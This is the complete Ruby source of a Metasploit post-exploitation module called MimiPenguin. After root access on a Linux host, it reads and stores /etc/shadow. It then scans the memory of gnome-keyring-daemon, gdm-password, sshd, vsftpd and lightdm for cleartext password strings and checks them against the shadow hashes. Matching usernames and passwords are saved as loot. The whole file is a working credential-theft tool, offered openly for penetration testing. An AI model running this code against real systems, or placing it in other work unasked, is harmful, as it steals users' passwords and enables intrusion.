metasploit-framework/modules/post/linux/gather/mimipenguin.rb

407 lines
12 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'unix_crypt'
class MetasploitModule < Msf::Post
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Process
def initialize(info = {})
super(
update_info(
info,
'Name' => 'MimiPenguin',
'Description' => %q{
This searches process memory for needles that indicate
where cleartext passwords may be located. If any needles
are discovered in the target process memory, collected
strings in adjacent memory will be hashed and compared
with password hashes found in `/etc/shadow`.
},
'License' => MSF_LICENSE,
'Author' => [
'huntergregal', # MimiPenguin
'bcoles', # original MimiPenguin module, table and python code
'Shelby Pace' # metasploit module
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_AARCH64 ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' => [
[ 'URL', 'https://github.com/huntergregal/mimipenguin' ],
[ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/gnome-keyring/+bug/1772919' ],
[ 'URL', 'https://bugs.launchpad.net/ubuntu/+source/lightdm/+bug/1717490' ],
[ 'CVE', '2018-20781' ]
],
'DisclosureDate' => '2018-05-23',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [],
'Reliability' => [],
'SideEffects' => []
},
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_sys_process_attach
stdapi_sys_process_memory_read
stdapi_sys_process_memory_search
]
}
}
)
)
end
def get_user_names_and_hashes
shadow_contents = read_file('/etc/shadow')
fail_with(Failure::UnexpectedReply, "Failed to read '/etc/shadow'") if shadow_contents.blank?
vprint_status('Storing shadow file...')
store_loot('shadow.file', 'text/plain', session, shadow_contents, nil)
users = []
lines = shadow_contents.split
lines.each do |line|
line_arr = line.split(':')
next if line_arr.empty?
user_name = line_arr&.first
hash = line_arr&.second
next unless hash.start_with?('$')
next if hash.nil? || user_name.nil?
users << { 'username' => user_name, 'hash' => hash }
end
users
end
def configure_passwords(user_data = [])
user_data.each do |info|
hash = info['hash']
hash_format = Metasploit::Framework::Hashes.identify_hash(hash)
info['type'] = hash_format.empty? ? 'unsupported' : hash_format
salt = ''
if info['type'] == 'bf'
arr = hash.split('$')
next if arr.length < 4
cost = arr[2]
salt = arr[3][0..21]
info['cost'] = cost
elsif info['type'] == 'yescrypt'
salt = hash[0...29]
else
salt = hash.split('$')[2]
end
next if salt.nil?
info['salt'] = salt
end
user_data
end
def get_matches(target_info = {})
if target_info.empty?
vprint_status('Invalid target info supplied')
return nil
end
target_pids = pidof(target_info['name'])
if target_pids.nil?
print_bad("PID for #{target_info['name']} not found.")
return nil
end
target_info['matches'] = {}
target_info['pids'] = target_pids
target_info['pids'].each_with_index do |target_pid, _ind|
vprint_status("Searching PID #{target_pid}...")
response = session.sys.process.memory_search(pid: target_pid, needles: target_info['needles'], min_match_length: 5, max_match_length: 500)
matches = []
response.each(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_RESULTS) do |res|
match_data = {}
match_data['match_str'] = res.get_tlv_value(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_STR)
match_data['match_offset'] = res.get_tlv_value(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_MATCH_ADDR)
match_data['sect_start'] = res.get_tlv_value(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_START_ADDR)
match_data['sect_len'] = res.get_tlv_value(::Rex::Post::Meterpreter::Extensions::Stdapi::TLV_TYPE_MEMORY_SEARCH_SECT_LEN)
matches << match_data
end
target_info['matches'][target_pid] = matches.empty? ? nil : matches
end
end
def format_addresses(addr_line)
address = addr_line.split&.first
start_addr, end_addr = address.split('-')
start_addr = start_addr.to_i(16)
end_addr = end_addr.to_i(16)
{ 'start' => start_addr, 'end' => end_addr }
end
# Selects memory regions to read based on locations
# of matches
def choose_mem_regions(pid, match_data = [])
return [] if match_data.empty?
mem_regions = []
match_data.each do |match|
next unless match.key?('sect_start') && match.key?('sect_len')
start = match.fetch('sect_start')
len = match.fetch('sect_len')
mem_regions << { 'start' => start, 'length' => len }
end
mem_regions.uniq!
mem_data = read_file("/proc/#{pid}/maps")
return mem_regions if mem_data.nil?
lines = mem_data.split("\n")
updated_regions = mem_regions.clone
if mem_regions.length == 1
match_addr = mem_regions[0]['start'].to_s(16)
match_ind = lines.index { |line| line.split('-').first.include?(match_addr) }
prev = lines[match_ind - 1]
if prev && prev.include?('00000000 00:00 0')
formatted = format_addresses(prev)
start_addr = formatted['start']
end_addr = formatted['end']
length = end_addr - start_addr
updated_regions << { 'start' => start_addr, 'length' => length }
end
post = lines[match_ind + 1]
if post && post.include?('00000000 00:00 0')
formatted = format_addresses(post)
start_addr = formatted['start']
end_addr = formatted['end']
length = end_addr - start_addr
updated_regions << { 'start' => start_addr, 'length' => length }
end
return updated_regions
end
mem_regions.each_with_index do |region, index|
next if index == 0
first_addr = mem_regions[index - 1]['start']
curr_addr = region['start']
first_addr = first_addr.to_s(16)
curr_addr = curr_addr.to_s(16)
first_index = lines.index { |line| line.start_with?(first_addr) }
curr_index = lines.index { |line| line.start_with?(curr_addr) }
next if first_index.nil? || curr_index.nil?
between_vals = lines.values_at(first_index + 1...curr_index)
between_vals = between_vals.select { |line| line.include?('00000000 00:00 0') }
if between_vals.empty?
next unless region == mem_regions.last
adj_region = lines[curr_index + 1]
return updated_regions if adj_region.nil?
formatted = format_addresses(adj_region)
start_addr = formatted['start']
end_addr = formatted['end']
length = end_addr - start_addr
updated_regions << { 'start' => start_addr, 'length' => length }
return updated_regions
end
between_vals.each do |addr_line|
formatted = format_addresses(addr_line)
start_addr = formatted['start']
end_addr = formatted['end']
length = end_addr - start_addr
updated_regions << { 'start' => start_addr, 'length' => length }
end
end
updated_regions
end
def get_printable_strings(pid, start_addr, section_len)
lines = []
curr_addr = start_addr
max_addr = start_addr + section_len
while curr_addr < max_addr
data = mem_read(curr_addr, 1000, pid: pid)
lines << data.split(/[^[:print:]]/)
lines = lines.flatten
curr_addr += 800
end
lines.reject! { |line| line.length < 4 }
lines
end
def get_python_version
@python_vers ||= command_exists?('python3') ? 'python3' : ''
if @python_vers.empty?
@python_vers ||= command_exists?('python') ? 'python' : ''
end
end
def check_for_valid_passwords(captured_strings, user_data, process_name)
captured_strings.each do |str|
user_data.each do |pass_info|
salt = pass_info['salt']
hash = pass_info['hash']
pass_type = pass_info['type']
case pass_type
when 'md5'
hashed = UnixCrypt::MD5.build(str, salt)
when 'bf'
BCrypt::Engine.cost = pass_info['cost'] || 12
hashed = BCrypt::Engine.hash_secret(str, hash[0..28])
when /sha256/
hashed = UnixCrypt::SHA256.build(str, salt)
when /sha512/
hashed = UnixCrypt::SHA512.build(str, salt)
when 'yescrypt'
get_python_version
next if @python_vers.empty?
if @python_vers == 'python3'
code = "import crypt; import base64; print(crypt.crypt(base64.b64decode('#{Rex::Text.encode_base64(str)}').decode('utf-8'), base64.b64decode('#{Rex::Text.encode_base64(salt.to_s)}').decode('utf-8')))"
cmd = "python3 -c \"#{code}\""
else
code = "import crypt; import base64; print crypt.crypt(base64.b64decode('#{Rex::Text.encode_base64(str)}'), base64.b64decode('#{Rex::Text.encode_base64(salt.to_s)}'))"
cmd = "python -c \"#{code}\""
end
hashed = cmd_exec(cmd).to_s.strip
when 'unsupported'
next
end
next unless hashed == hash
pass_info['password'] = str
pass_info['process'] = process_name
end
end
end
def run
fail_with(Failure::BadConfig, 'Root privileges are required') unless is_root?
user_data = get_user_names_and_hashes
fail_with(Failure::UnexpectedReply, 'Failed to retrieve user information') if user_data.empty?
password_data = configure_passwords(user_data)
target_proc_info = [
{
'name' => 'gnome-keyring-daemon',
'needles' => [
'^+libgck\\-1.so\\.0$',
'libgcrypt\\.so\\..+$',
'linux-vdso\\.so\\.1$',
'libc\\.so\\.6$'
]
},
{
'name' => 'gdm-password',
'needles' => [
'^_pammodutil_getpwnam_root_1$',
'^gkr_system_authtok$'
]
},
{
'name' => 'vsftpd',
'needles' => [
'^::.+\\:[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$'
]
},
{
'name' => 'sshd',
'needles' => [
'^sudo.+'
]
},
{
'name' => 'lightdm',
'needles' => [
'^_pammodutil_getspnam_'
]
}
]
captured_strings = []
target_proc_info.each do |info|
print_status("Checking for matches in process #{info['name']}")
match_set = get_matches(info)
if match_set.nil?
vprint_status("No matches found for process #{info['name']}")
next
end
vprint_status('Choosing memory regions to search')
next if info['pids'].empty?
next if info['matches'].values.all?(&:nil?)
info['matches'].each do |pid, set|
next unless set
search_regions = choose_mem_regions(pid, set)
next if search_regions.empty?
search_regions.each { |reg| captured_strings << get_printable_strings(pid, reg['start'], reg['length']) }
captured_strings.flatten!
captured_strings.uniq!
check_for_valid_passwords(captured_strings, password_data, info['name'])
captured_strings = []
end
end
results = password_data.select { |res| res.key?('password') && !res['password'].nil? }
fail_with(Failure::NotFound, 'Failed to find any passwords') if results.empty?
print_good("Found #{results.length} valid credential(s)!")
table = Rex::Text::Table.new(
'Header' => 'Credentials',
'Indent' => 2,
'SortIndex' => 0,
'Columns' => [ 'Process Name', 'Username', 'Password' ]
)
results.each do |res|
table << [ res['process'], res['username'], res['password'] ]
store_valid_credential(
user: res['username'],
private: res['password'],
private_type: :password
)
end
print_line
print_line(table.to_s)
path = store_loot(
'mimipenguin.csv',
'text/plain',
session,
table.to_csv,
nil
)
print_status("Credentials stored in #{path}")
end
end